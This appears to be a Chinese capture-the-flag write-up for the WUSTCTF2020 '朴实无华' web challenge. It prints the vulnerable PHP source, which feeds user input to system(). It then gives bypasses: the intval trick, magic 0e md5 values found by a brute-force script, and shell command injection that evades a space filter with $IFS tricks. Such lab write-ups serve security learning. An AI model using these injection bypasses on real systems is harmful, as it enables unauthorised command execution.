[WUSTCTF2020]朴实无华 这个题的各种编码还是挺烦人的……
robots.php里有:/fAke_f1agggg.php,结果确实fake……
抓包发现:
访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if (intval($num) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET['md5' ])){ $md5=$_GET['md5' ]; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET['get_flag' ])){ $get_flag = $_GET['get_flag' ]; if (!strstr($get_flag," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
bypass
第一点的intval的绕过好像也和版本有关,新版本似乎是支持科学计数法的(有一次疯狂思考绕过……
这里传入2e4即可绕过
level2:$md5==md5($md5)
弱比较,其实也就是0e开头的md5值md5后仍是0e开头+数字的字符串
写了一个垃圾脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from hashlib import md5import refor a in '1234567890' : for b in '1234567890' : for c in '1234567890' : for d in '1234567890' : for e in '1234567890' : for f in '1234567890' : for g in '1234567890' : for h in '1234567890' : for i in '1234567890' : j=f"0e{a} {b} {c} {d} {e} {f} {g} {h} {i} " p=md5(j.encode('utf8' )).hexdigest() if p[0 :2 ]=='0e' : pp = p[2 :32 ] if re.match("\d{30,30}" ,pp): print(j) print(p) break
超级暴力循环……
最后找到三对:
0e215962017 0e291242476940776845150308577824 0e730083352 0e870635875304277170259950255928 0e807097110 0e318093639164485566453180786895
level3:
干掉了空格和cat,但读取的方法有很多,空格也有绕过方法:
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
这里大于号或小于号也是可以绕过的……
读取就很容易了
getflag!
……